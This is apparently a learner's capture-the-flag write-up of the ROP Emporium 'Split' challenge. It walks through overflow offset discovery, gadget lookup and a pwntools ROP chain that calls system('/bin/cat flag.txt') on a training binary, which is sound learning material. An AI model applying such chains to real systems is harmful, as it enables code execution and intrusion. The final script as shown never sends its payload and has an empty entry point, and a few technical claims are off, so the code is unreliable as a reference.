This is the Second challenge from ROP Emporium, named as Split. In this challenge we have to create a small ROP Chain which execute system and give us the flag to complete the challenge. Through out this i am going to use radare2 as much as i can, just for the sake of learning the tool. Radare2 is a complete framework for reverse-engineering and analyzing binaries.

I assume that anyone reading this post is familiar with the basics of binary exploitation, as i skipped explaining many basic things. And please note that i am just learning these concepts, none of these things are new research or expert opinion.

Challenge Description: Combine elements from the ret2win challenge that have been split apart to beat this challenge. Learn how to use another tool whilst crafting a short ROP chain.

Tools Used:
  • ROPGadget
  • Pwntools
  • Radare2
  • GDB & gef
About the Binary:

Our binary is usual ELF executable in 64-bit architecture.Lets check what protection are on this binary, using rabin2, which comes with radare2 framework.


PIE isn’t enabled and nx set to true, so we know shellcode cannot be executed off the stack and the binary has ASLR disabled.

Analyzing the 64bit ELF binary

Lets load the binary with radare2 and dump the functions. The afl command list the functions. We can also output it as JSON using this command aflj~{}


Here we can see three interesting functions:

  • main()
  • pwnme()
  • usefulFunction()

So lets disassemble the binary and see what these fucntions does!



The only interesting thing here for us is, its calling the function name pwnme() which have overflow vulnerability.



Just like in retwin challenge, we have a 32 byte buffer that can be overflowed with fgets that takes 96 characters from the user.



This function directly call system with /bin/ls, which list the files in current working directory and there is also usefullstring which /bin/cat flag.txt. so we need to return to this function to exploit the binary successfuly.


So now the binary analysis is out of the way. Lets start fuzzing the binary. Generate the unique pattern and send to the program.

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
[+] Saved as '$_gef0'
gef➤  r
Starting program: /root/Desktop/ROP/split/split/split 
split by ROP Emporium

Contriving a reason to ask user for data...
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.

As expected the program crashed and we have a valid crash scenario here.We have overwritten rsp with our unique patters.


Calculating offset

Copy the value in RSP to pattern offset tool, to get exatch offset

gef➤  pattern offset 0x00007fffffffe048
[+] Searching '0x00007fffffffe048'
[+] Found at offset 40 (little-endian search) likely
[+] Found at offset 33 (big-endian search) 

Building the ROP-Chain

Lets find the building blocks that need to build our ROP chain.

UsefulString “/bin/cat flag.txt”

Using rabin2 to find all the strings in the binary



Using objdump grab the address of system@plt.


pop rdi; ret gadget

I used ROPGadget to find the pop rdi ret.



Now we have everything we need to put together our first ROPChain, let’s craft the payload.

  • Junk + pop_rdi + bin_cat + system_plt

  • b”A” * 40 + 0x0000000000400883 + 0x00601060 + 0x4005e0

Final exploit using pwntools:

 from pwn import *                                                                                                                                                    
 def main():                                                                                                                                                          
     context.log_level = "info"                                                                                                                                       
     elf = ELF('./split')                #binary path                                                                                                                 
     p = process(elf.path)                                                                                                                                            
     offset = b"A" * 40                  # Offset at 40                                                                                                           
     usefullString = p64(0x00601060)     # Rabin2 -z split                                                                                                            
     system_plt = p64(0x4005e0)          # objdump -d split                                                                                                           
     pop_rdi = p64(0x0000000000400883)   # --binary split | grep 'pop rdi'                                                                               
     payload = offset + pop_rdi + usefullString + system_plt                                                                                                          
     print (p.recvall())                                                                                                                                              
 if __name__ == "__main__":                                                                                                                                           

Running the exploit!! we got the flag!



Thats the end of split challenge,I learned how to build my first simple ROPChain and simple usage of radare2.

Code for this challenge available from my github repo: